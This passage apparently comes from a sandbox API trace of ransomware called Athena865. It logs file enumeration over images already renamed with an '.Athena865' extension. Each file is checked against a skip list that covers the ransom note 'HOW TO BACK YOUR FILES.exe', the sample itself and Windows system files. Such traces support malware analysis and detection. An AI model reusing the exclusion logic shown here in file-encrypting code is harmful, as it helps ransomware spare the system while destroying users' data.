lpString2=".") returned 1 [0101.607] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png.Athena865", lpString2="..") returned 1 [0101.607] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png.Athena865", lpString2="windows") returned -1 [0101.607] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png.Athena865", lpString2="bootmgr") returned 1 [0101.608] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png.Athena865", lpString2="temp") returned -1 [0101.608] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png.Athena865", lpString2="pagefile.sys") returned -1 [0101.608] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png.Athena865", lpString2="boot") returned 1 [0101.608] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png.Athena865", lpString2="ids.txt") returned -1 [0101.608] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png.Athena865", lpString2="ntuser.dat") returned -1 [0101.608] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png.Athena865", lpString2="perflogs") returned -1 [0101.608] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png.Athena865", lpString2="MSBuild") returned -1 [0101.608] lstrlenW (lpString="hhvAWIyB-LHiXo.png.Athena865") returned 28 [0101.608] lstrcpyW (in: lpString1=0x241e8d2, lpString2="hhvAWIyB-LHiXo.png.Athena865" | out: lpString1="hhvAWIyB-LHiXo.png.Athena865") returned="hhvAWIyB-LHiXo.png.Athena865" [0101.608] lstrlenW (lpString="hhvAWIyB-LHiXo.png.Athena865") returned 28 [0101.608] lstrlenW (lpString="Athena865") returned 9 [0101.608] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.608] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbced0020, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbced0020, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0101.608] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0101.608] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59f7bf80, ftCreationTime.dwHighDateTime=0x1d4c67c, ftLastAccessTime.dwLowDateTime=0x3b09ece0, ftLastAccessTime.dwHighDateTime=0x1d4c81d, ftLastWriteTime.dwLowDateTime=0xc66437e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x2ce0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HtNt.png.Athena865", cAlternateFileName="HTNTPN~1.ATH")) returned 1 [0101.608] lstrcmpiW (lpString1="HtNt.png.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.608] lstrcmpiW (lpString1="HtNt.png.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.608] lstrcmpiW (lpString1="HtNt.png.Athena865", lpString2=".") returned 1 [0101.608] lstrcmpiW (lpString1="HtNt.png.Athena865", lpString2="..") returned 1 [0101.608] lstrcmpiW (lpString1="HtNt.png.Athena865", lpString2="windows") returned -1 [0101.608] lstrcmpiW (lpString1="HtNt.png.Athena865", lpString2="bootmgr") returned 1 [0101.608] lstrcmpiW (lpString1="HtNt.png.Athena865", lpString2="temp") returned -1 [0101.608] lstrcmpiW (lpString1="HtNt.png.Athena865", lpString2="pagefile.sys") returned -1 [0101.608] lstrcmpiW (lpString1="HtNt.png.Athena865", lpString2="boot") returned 1 [0101.608] lstrcmpiW (lpString1="HtNt.png.Athena865", lpString2="ids.txt") returned -1 [0101.608] lstrcmpiW (lpString1="HtNt.png.Athena865", lpString2="ntuser.dat") returned -1 [0101.608] lstrcmpiW (lpString1="HtNt.png.Athena865", lpString2="perflogs") returned -1 [0101.608] lstrcmpiW (lpString1="HtNt.png.Athena865", lpString2="MSBuild") returned -1 [0101.608] lstrlenW (lpString="HtNt.png.Athena865") returned 18 [0101.608] lstrcpyW (in: lpString1=0x241e8d2, lpString2="HtNt.png.Athena865" | out: lpString1="HtNt.png.Athena865") returned="HtNt.png.Athena865" [0101.609] lstrlenW (lpString="HtNt.png.Athena865") returned 18 [0101.609] lstrlenW (lpString="Athena865") returned 9 [0101.609] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.609] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58df7850, ftCreationTime.dwHighDateTime=0x1d4c856, ftLastAccessTime.dwLowDateTime=0xd4ddac50, ftLastAccessTime.dwHighDateTime=0x1d4c6b3, ftLastWriteTime.dwLowDateTime=0xc66437e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JB7yzTWIUGM3Q.png.Athena865", cAlternateFileName="JB7YZT~1.ATH")) returned 1 [0101.609] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.609] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.609] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png.Athena865", lpString2=".") returned 1 [0101.609] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png.Athena865", lpString2="..") returned 1 [0101.609] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png.Athena865", lpString2="windows") returned -1 [0101.609] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png.Athena865", lpString2="bootmgr") returned 1 [0101.609] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png.Athena865", lpString2="temp") returned -1 [0101.609] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png.Athena865", lpString2="pagefile.sys") returned -1 [0101.609] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png.Athena865", lpString2="boot") returned 1 [0101.609] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png.Athena865", lpString2="ids.txt") returned 1 [0101.609] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png.Athena865", lpString2="ntuser.dat") returned -1 [0101.609] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png.Athena865", lpString2="perflogs") returned -1 [0101.609] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png.Athena865", lpString2="MSBuild") returned -1 [0101.609] lstrlenW (lpString="JB7yzTWIUGM3Q.png.Athena865") returned 27 [0101.609] lstrcpyW (in: lpString1=0x241e8d2, lpString2="JB7yzTWIUGM3Q.png.Athena865" | out: lpString1="JB7yzTWIUGM3Q.png.Athena865") returned="JB7yzTWIUGM3Q.png.Athena865" [0101.610] lstrlenW (lpString="JB7yzTWIUGM3Q.png.Athena865") returned 27 [0101.610] lstrlenW (lpString="Athena865") returned 9 [0101.610] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.610] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91593f50, ftCreationTime.dwHighDateTime=0x1d4c5fd, ftLastAccessTime.dwLowDateTime=0xace7e560, ftLastAccessTime.dwHighDateTime=0x1d4d065, ftLastWriteTime.dwLowDateTime=0xc6669940, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xd940, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JWjQ.gif.Athena865", cAlternateFileName="JWJQGI~1.ATH")) returned 1 [0101.610] lstrcmpiW (lpString1="JWjQ.gif.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.611] lstrcmpiW (lpString1="JWjQ.gif.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.611] lstrcmpiW (lpString1="JWjQ.gif.Athena865", lpString2=".") returned 1 [0101.611] lstrcmpiW (lpString1="JWjQ.gif.Athena865", lpString2="..") returned 1 [0101.611] lstrcmpiW (lpString1="JWjQ.gif.Athena865", lpString2="windows") returned -1 [0101.611] lstrcmpiW (lpString1="JWjQ.gif.Athena865", lpString2="bootmgr") returned 1 [0101.611] lstrcmpiW (lpString1="JWjQ.gif.Athena865", lpString2="temp") returned -1 [0101.611] lstrcmpiW (lpString1="JWjQ.gif.Athena865", lpString2="pagefile.sys") returned -1 [0101.611] lstrcmpiW (lpString1="JWjQ.gif.Athena865", lpString2="boot") returned 1 [0101.611] lstrcmpiW (lpString1="JWjQ.gif.Athena865", lpString2="ids.txt") returned 1 [0101.611] lstrcmpiW (lpString1="JWjQ.gif.Athena865", lpString2="ntuser.dat") returned -1 [0101.611] lstrcmpiW (lpString1="JWjQ.gif.Athena865", lpString2="perflogs") returned -1 [0101.611] lstrcmpiW (lpString1="JWjQ.gif.Athena865", lpString2="MSBuild") returned -1 [0101.611] lstrlenW (lpString="JWjQ.gif.Athena865") returned 18 [0101.611] lstrcpyW (in: lpString1=0x241e8d2, lpString2="JWjQ.gif.Athena865" | out: lpString1="JWjQ.gif.Athena865") returned="JWjQ.gif.Athena865" [0101.611] lstrlenW (lpString="JWjQ.gif.Athena865") returned 18 [0101.611] lstrlenW (lpString="Athena865") returned 9 [0101.611] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.611] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b75500, ftCreationTime.dwHighDateTime=0x1d4c63e, ftLastAccessTime.dwLowDateTime=0x5c791be0, ftLastAccessTime.dwHighDateTime=0x1d4c77c, ftLastWriteTime.dwLowDateTime=0xc668faa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7de0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="K644ujQtjWQA.jpg.Athena865", cAlternateFileName="K644UJ~1.ATH")) returned 1 [0101.611] lstrcmpiW (lpString1="K644ujQtjWQA.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.611] lstrcmpiW (lpString1="K644ujQtjWQA.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.611] lstrcmpiW (lpString1="K644ujQtjWQA.jpg.Athena865", lpString2=".") returned 1 [0101.611] lstrcpyW (in: lpString1=0x241e8d2, lpString2="K644ujQtjWQA.jpg.Athena865" | out: lpString1="K644ujQtjWQA.jpg.Athena865") returned="K644ujQtjWQA.jpg.Athena865" [0101.611] lstrlenW (lpString="K644ujQtjWQA.jpg.Athena865") returned 26 [0101.611] lstrlenW (lpString="Athena865") returned 9 [0101.611] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.611] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91a3090, ftCreationTime.dwHighDateTime=0x1d4c741, ftLastAccessTime.dwLowDateTime=0x57437550, ftLastAccessTime.dwHighDateTime=0x1d4cba8, ftLastWriteTime.dwLowDateTime=0xc668faa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x49b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="M560XL.jpg.Athena865", cAlternateFileName="M560XL~1.ATH")) returned 1 [0101.612] lstrcmpiW (lpString1="M560XL.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.612] lstrcmpiW (lpString1="M560XL.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.612] lstrcpyW (in: lpString1=0x241e8d2, lpString2="M560XL.jpg.Athena865" | out: lpString1="M560XL.jpg.Athena865") returned="M560XL.jpg.Athena865" [0101.612] lstrlenW (lpString="M560XL.jpg.Athena865") returned 20 [0101.612] lstrlenW (lpString="Athena865") returned 9 [0101.612] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.612] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfbbbe50, ftCreationTime.dwHighDateTime=0x1d4d091, ftLastAccessTime.dwLowDateTime=0x647f64f0, ftLastAccessTime.dwHighDateTime=0x1d4c73d, ftLastWriteTime.dwLowDateTime=0xc66b5c00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xed80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mJDFYAWcq6yDy.png.Athena865", cAlternateFileName="MJDFYA~1.ATH")) returned 1 [0101.612] lstrcmpiW (lpString1="mJDFYAWcq6yDy.png.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.612] lstrcmpiW (lpString1="mJDFYAWcq6yDy.png.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.612] lstrcpyW (in: lpString1=0x241e8d2, lpString2="mJDFYAWcq6yDy.png.Athena865" | out: lpString1="mJDFYAWcq6yDy.png.Athena865") returned="mJDFYAWcq6yDy.png.Athena865" [0101.612] lstrlenW (lpString="mJDFYAWcq6yDy.png.Athena865") returned 27 [0101.612] lstrlenW (lpString="Athena865") returned 9 [0101.612] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.612] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb471a0, ftCreationTime.dwHighDateTime=0x1d4cf58, ftLastAccessTime.dwLowDateTime=0xd0d21220, ftLastAccessTime.dwHighDateTime=0x1d4c903, ftLastWriteTime.dwLowDateTime=0xc66b5c00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xfbf0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nJ8IVrMa642w.bmp.Athena865", cAlternateFileName="NJ8IVR~1.ATH")) returned 1 [0101.612] lstrcmpiW (lpString1="nJ8IVrMa642w.bmp.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.612] lstrcmpiW (lpString1="nJ8IVrMa642w.bmp.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.612] lstrcpyW (in: lpString1=0x241e8d2, lpString2="nJ8IVrMa642w.bmp.Athena865" | out: lpString1="nJ8IVrMa642w.bmp.Athena865") returned="nJ8IVrMa642w.bmp.Athena865" [0101.612] lstrlenW (lpString="nJ8IVrMa642w.bmp.Athena865") returned 26 [0101.612] lstrlenW (lpString="Athena865") returned 9 [0101.612] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.612] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7088b320, ftCreationTime.dwHighDateTime=0x1d4cbf5, ftLastAccessTime.dwLowDateTime=0xc78ed010, ftLastAccessTime.dwHighDateTime=0x1d4c9a1, ftLastWriteTime.dwLowDateTime=0xc66dbd60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x15a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nQTw2Rxk0zIkw5zS.gif.Athena865", cAlternateFileName="NQTW2R~1.ATH")) returned 1 [0101.612] lstrcmpiW (lpString1="nQTw2Rxk0zIkw5zS.gif.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.612] lstrcmpiW (lpString1="nQTw2Rxk0zIkw5zS.gif.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.612] lstrcpyW (in: lpString1=0x241e8d2, lpString2="nQTw2Rxk0zIkw5zS.gif.Athena865" | out: lpString1="nQTw2Rxk0zIkw5zS.gif.Athena865") returned="nQTw2Rxk0zIkw5zS.gif.Athena865" [0101.612] lstrlenW (lpString="nQTw2Rxk0zIkw5zS.gif.Athena865") returned 30 [0101.612] lstrlenW (lpString="Athena865") returned 9 [0101.612] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.612] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x572078d0, ftCreationTime.dwHighDateTime=0x1d4d0de, ftLastAccessTime.dwLowDateTime=0xc4fa8090, ftLastAccessTime.dwHighDateTime=0x1d4cb15, ftLastWriteTime.dwLowDateTime=0xc6701ec0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x1ee0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OQaj- Y8eFM79sEi.jpg.Athena865", cAlternateFileName="OQAJ-Y~1.ATH")) returned 1 [0101.613] lstrcmpiW (lpString1="OQaj- Y8eFM79sEi.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.613] lstrcmpiW (lpString1="OQaj- Y8eFM79sEi.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.613] lstrcpyW (in: lpString1=0x241e8d2, lpString2="OQaj- Y8eFM79sEi.jpg.Athena865" | out: lpString1="OQaj- Y8eFM79sEi.jpg.Athena865") returned="OQaj- Y8eFM79sEi.jpg.Athena865" [0101.613] lstrlenW (lpString="OQaj- Y8eFM79sEi.jpg.Athena865") returned 30 [0101.613] lstrlenW (lpString="Athena865") returned 9 [0101.613] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.613] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17041e30, ftCreationTime.dwHighDateTime=0x1d4d266, ftLastAccessTime.dwLowDateTime=0x98a5fb00, ftLastAccessTime.dwHighDateTime=0x1d4d1b4, ftLastWriteTime.dwLowDateTime=0xc6701ec0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xf180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oUH1_pI2itD4dpy_z8OI.jpg.Athena865", cAlternateFileName="OUH1_P~1.ATH")) returned 1 [0101.613] lstrcmpiW (lpString1="oUH1_pI2itD4dpy_z8OI.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.613] lstrcmpiW (lpString1="oUH1_pI2itD4dpy_z8OI.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.613] lstrcpyW (in: lpString1=0x241e8d2, lpString2="oUH1_pI2itD4dpy_z8OI.jpg.Athena865" | out: lpString1="oUH1_pI2itD4dpy_z8OI.jpg.Athena865") returned="oUH1_pI2itD4dpy_z8OI.jpg.Athena865" [0101.613] lstrlenW (lpString="oUH1_pI2itD4dpy_z8OI.jpg.Athena865") returned 34 [0101.613] lstrlenW (lpString="Athena865") returned 9 [0101.613] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.613] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ef872b0, ftCreationTime.dwHighDateTime=0x1d4c7d6, ftLastAccessTime.dwLowDateTime=0x84a16380, ftLastAccessTime.dwHighDateTime=0x1d4cc7b, ftLastWriteTime.dwLowDateTime=0xc6728020, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xb6d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pl8 rv9MiKs.jpg.Athena865", cAlternateFileName="PL8RV9~1.ATH")) returned 1 [0101.613] lstrcmpiW (lpString1="Pl8 rv9MiKs.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.613] lstrcmpiW (lpString1="Pl8 rv9MiKs.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.613] lstrcpyW (in: lpString1=0x241e8d2, lpString2="Pl8 rv9MiKs.jpg.Athena865" | out: lpString1="Pl8 rv9MiKs.jpg.Athena865") returned="Pl8 rv9MiKs.jpg.Athena865" [0101.613] lstrlenW (lpString="Pl8 rv9MiKs.jpg.Athena865") returned 25 [0101.613] lstrlenW (lpString="Athena865") returned 9 [0101.613] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.613] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2da168d0, ftCreationTime.dwHighDateTime=0x1d4cca5, ftLastAccessTime.dwLowDateTime=0x6c9548f0, ftLastAccessTime.dwHighDateTime=0x1d4cbe1, ftLastWriteTime.dwLowDateTime=0xc674e180, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x14810, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pWaepLE.png.Athena865", cAlternateFileName="PWAEPL~1.ATH")) returned 1 [0101.613] lstrcmpiW (lpString1="pWaepLE.png.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.613] lstrcmpiW (lpString1="pWaepLE.png.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.613] lstrcpyW (in: lpString1=0x241e8d2, lpString2="pWaepLE.png.Athena865" | out: lpString1="pWaepLE.png.Athena865") returned="pWaepLE.png.Athena865" [0101.613] lstrlenW (lpString="pWaepLE.png.Athena865") returned 21 [0101.613] lstrlenW (lpString="Athena865") returned 9 [0101.613] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.614] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5c1ea70, ftCreationTime.dwHighDateTime=0x1d4cd94, ftLastAccessTime.dwLowDateTime=0xcc9b8f70, ftLastAccessTime.dwHighDateTime=0x1d4d23a, ftLastWriteTime.dwLowDateTime=0xc679a440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xf010, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qgINIqoMFF7bLoKfY.bmp.Athena865", cAlternateFileName="QGINIQ~1.ATH")) returned 1 [0101.614] lstrcmpiW (lpString1="qgINIqoMFF7bLoKfY.bmp.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.614] lstrcmpiW (lpString1="qgINIqoMFF7bLoKfY.bmp.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.614] lstrcpyW (in: lpString1=0x241e8d2, lpString2="qgINIqoMFF7bLoKfY.bmp.Athena865" | out: lpString1="qgINIqoMFF7bLoKfY.bmp.Athena865") returned="qgINIqoMFF7bLoKfY.bmp.Athena865" [0101.614] lstrlenW (lpString="qgINIqoMFF7bLoKfY.bmp.Athena865") returned 31 [0101.614] lstrlenW (lpString="Athena865") returned 9 [0101.614] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.614] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9c60b60, ftCreationTime.dwHighDateTime=0x1d4d4ff, ftLastAccessTime.dwLowDateTime=0x8ecad520, ftLastAccessTime.dwHighDateTime=0x1d4c722, ftLastWriteTime.dwLowDateTime=0xc67c05a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x14250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="s9cQ52xVIt0iT_.gif.Athena865", cAlternateFileName="S9CQ52~1.ATH")) returned 1 [0101.614] lstrcmpiW (lpString1="s9cQ52xVIt0iT_.gif.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.614] lstrcmpiW (lpString1="s9cQ52xVIt0iT_.gif.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.614] lstrcpyW (in: lpString1=0x241e8d2, lpString2="s9cQ52xVIt0iT_.gif.Athena865" | out: lpString1="s9cQ52xVIt0iT_.gif.Athena865") returned="s9cQ52xVIt0iT_.gif.Athena865" [0101.614] lstrlenW (lpString="s9cQ52xVIt0iT_.gif.Athena865") returned 28 [0101.614] lstrlenW (lpString="Athena865") returned 9 [0101.614] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.614] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ae3df0, ftCreationTime.dwHighDateTime=0x1d4ccb7, ftLastAccessTime.dwLowDateTime=0xea8e1cc0, ftLastAccessTime.dwHighDateTime=0x1d4c612, ftLastWriteTime.dwLowDateTime=0xc67c05a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x47c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="suDg l.jpg.Athena865", cAlternateFileName="SUDGLJ~1.ATH")) returned 1 [0101.614] lstrcmpiW (lpString1="suDg l.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.614] lstrcmpiW (lpString1="suDg l.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.614] lstrcpyW (in: lpString1=0x241e8d2, lpString2="suDg l.jpg.Athena865" | out: lpString1="suDg l.jpg.Athena865") returned="suDg l.jpg.Athena865" [0101.614] lstrlenW (lpString="suDg l.jpg.Athena865") returned 20 [0101.614] lstrlenW (lpString="Athena865") returned 9 [0101.614] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.614] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f06d60, ftCreationTime.dwHighDateTime=0x1d4d29b, ftLastAccessTime.dwLowDateTime=0xadf510b0, ftLastAccessTime.dwHighDateTime=0x1d4d478, ftLastWriteTime.dwLowDateTime=0xc67e6700, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x5db0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tUA 7lQiLXUB.gif.Athena865", cAlternateFileName="TUA7LQ~1.ATH")) returned 1 [0101.614] lstrcmpiW (lpString1="tUA 7lQiLXUB.gif.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.614] lstrcmpiW (lpString1="tUA 7lQiLXUB.gif.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.614] lstrcpyW (in: lpString1=0x241e8d2, lpString2="tUA 7lQiLXUB.gif.Athena865" | out: lpString1="tUA 7lQiLXUB.gif.Athena865") returned="tUA 7lQiLXUB.gif.Athena865" [0101.614] lstrlenW (lpString="tUA 7lQiLXUB.gif.Athena865") returned 26 [0101.614] lstrlenW (lpString="Athena865") returned 9 [0101.614] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.614] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9d7e0, ftCreationTime.dwHighDateTime=0x1d4c869, ftLastAccessTime.dwLowDateTime=0xa037bc30, ftLastAccessTime.dwHighDateTime=0x1d4cd97, ftLastWriteTime.dwLowDateTime=0xc680c860, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x2d00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UAIEO6U.jpg.Athena865", cAlternateFileName="UAIEO6~1.ATH")) returned 1 [0101.615] lstrcmpiW (lpString1="UAIEO6U.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.615] lstrcmpiW (lpString1="UAIEO6U.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.615] lstrcpyW (in: lpString1=0x241e8d2, lpString2="UAIEO6U.jpg.Athena865" | out: lpString1="UAIEO6U.jpg.Athena865") returned="UAIEO6U.jpg.Athena865" [0101.615] lstrlenW (lpString="UAIEO6U.jpg.Athena865") returned 21 [0101.615] lstrlenW (lpString="Athena865") returned 9 [0101.615] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.615] FindNextFileW (in: 